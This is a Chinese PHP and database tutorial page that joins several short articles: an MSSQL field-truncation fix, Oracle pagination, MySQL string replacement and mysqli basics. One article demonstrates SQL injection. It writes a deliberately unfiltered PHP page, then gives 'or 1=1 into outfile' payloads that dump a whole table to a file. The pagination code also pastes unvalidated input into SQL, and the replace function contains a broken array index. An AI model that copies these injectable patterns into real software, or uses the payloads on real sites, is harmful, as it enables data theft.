PHP 连接 MSSQL 时 nvarchar 字段长度被截断为 255

 更新时间:2016年11月25日 16:37  点击:2035
PHP 连接 MSSQL 的新手经常遇到这个问题:数据库里面的 nvarchar 字段中数据一切正常,但是用 PHP 查询出来却发现长度只有 255,我们都知道,在 MySQL 里面 varchar 的长度只有 255,但是 MSSQL 却不是,不会是 PHP 将 nvarchar 按照 MySQL 的 varchar 处理了吧!

 本文给出了解决方法:

select cast(目标字段 as text) from 表名
假如你的 article 表中有个字段 summary 为 nvarchar,那么命令为:

 代码如下 复制代码
select cast(summary as text) from article

关于 cast :

 代码如下 复制代码

CAST ( expression AS data_type )

expression 为目标字段
data_type 为要转换成的数据类型

 

本文章来介绍一下关于php和orace数据库实现数据库的分页功能,下面有需要的同学可以看看吧。
 代码如下 复制代码

<html>
<body>
<?
include "/maya/inc/dbconn.php";
$sql="select max(rownum) from xqhtest where id<50";
$stmt=ociparse($gConn,$sql);
ociexecute($stmt);
ocifetch($stmt);
$rowcount=ociresult($stmt,1);
ocifreestatement($stmt);
echo("共有".$rowcount."条记录<br>n");
$recordperpage=15; //每页显示多少条记录
$pages=ceil($rowcount/$recordperpage);  //总页数
echo("共有".$pages."页<br>n");

?>
<table border=0><tr><td>id</td><td>name</td></tr>
<?

//判断偏移量参数是否传递给了脚本,如果没有就使用默认值0

if (empty($offset))
{
    $offset=1;
}
$currentpage=ceil($offset/$recordperpage); //显示当前页
echo("当前页:".$currentpage."<br>n");
$endset=$offset+$recordperpage;

$stmt2=ociparse($gConn,"SELECT rownum,id,name FROM xqhtest WHERE id<50 and rownum<".$endset." minus select rownum,id,name from xqhtest where id<50 and rownum<".$offset);
//echo "SELECT id,name FROM xqhtest WHERE rownum<".$endset." minus select id,name from xqhtest where rownum<".$offset."<br>n";
ociexecute($stmt2);
//可以是任何sql语句,但select后面一定要有rownum,这是oracle特有的!
while (ocifetch($stmt2))

{
echo("<tr><td>".ociresult($stmt2,"ID")."</td><td>".ociresult($stmt2,"NAME")."</td></tr>n");

   //换成你用于显示返回记录的代码
}
//要写出到所有页面的链接
print "</table><br><br>";


for ($i=1; $i <= $pages; $i++)
{
  $newoffset=($recordperpage*($i-1))+1;
  print "<a href="$PHP_SELF?offset=$newoffset">$i</a> n";
}
print "<br>";

$nextoffset=$recordperpage*$currentpage+1;
$prevoffset=$recordperpage*($currentpage-2)+1;
//判断是否需要上一页连接
if (($currentpage>1) && ($currentpage<=$pages))
{
print "<a href="$PHP_SELF?offset=$prevoffset">上一页</a> n";
}

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。

在数据库中建立一张表:

 代码如下 复制代码

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。

接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。

代码如下:

 代码如下 复制代码

<?php

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未经过滤

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "<p>利用SQL注入漏洞拖库<p>";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题<br>".$row['title']."<p>";

       echo "内容<br>".$row['content']."<p>";

?>

 

我们直接在浏览器中输入:

 代码如下 复制代码

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录

访问结果如下:

 

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来。

在地址栏中输入:

 代码如下 复制代码
’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。

为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

 

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

 

 代码如下 复制代码


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

 

 

 代码如下 复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

 

 

 代码如下 复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。

 

不信的话,你执行下……

 

利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等

本文章分享一篇关于php mysql替换字符串方法,有需要的同学可以参考一下。
 代码如下 复制代码


<?php
function replace(){
$sql = db_query("SELECT field_languages_value,nid FROM {content_type_company_profile} WHERE

field_languages_value like '%Mandarin Chinese%'");
while($result = db_fetch_object($sql)){
$a = explode("Mandarin Chinese",$result->field_languages_used_value);
$b = $a[].'Chinese'.$a[1];
db_query("UPDATE content_type_company_profile SET field_languages_used_value = '%s' WHERE nid = %

d",$b,$result->nid);
}
}
?>

本教程为php入门者提供的一篇关于php连接mysql数据库以及查询与读写mysql数据库的实现,有需要学习的同学可以参考一下下哦。

一、连接数据库

数据库变量文件:connectvars.php

 代码如下 复制代码
<?php
//服务器
define('DB_HOST', '127.0.0.1');
//用户名
define('DB_USER', 'root');
//密码
define('DB_PASSWORD', 'root');
//数据库
define('DB_NAME','test') ;
?>

在使用处连接数据库

 代码如下 复制代码

require_once 'connectvars.php';
$dbc =mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);

二、对数据库进行增、删、改、查

//查询、修改、删除操作都写成SQL语句

 代码如下 复制代码
$query = "SELECT * FROM toyota ORDER BY ID DESC";
//$data保存信息较为丰富,可用其判断是否操作成功,或利用其取数据,查询记录条数
$data = mysqli_query($dbc,$query);

三、判断操作是否成功

 代码如下 复制代码

if($data){
     echo '数据操作成功';
}else{
     echo '数据操作失败';
}

四、获得查询记录数目

 代码如下 复制代码

$count = mysqli_num_rows($data);
echo $count;

五、对记录进行循环操作

假设记录中有个字段为'url'

 代码如下 复制代码

while($row = mysqli_fetch_array($data)){
     echo $row['url'];
}

[!--infotagslink--]

相关文章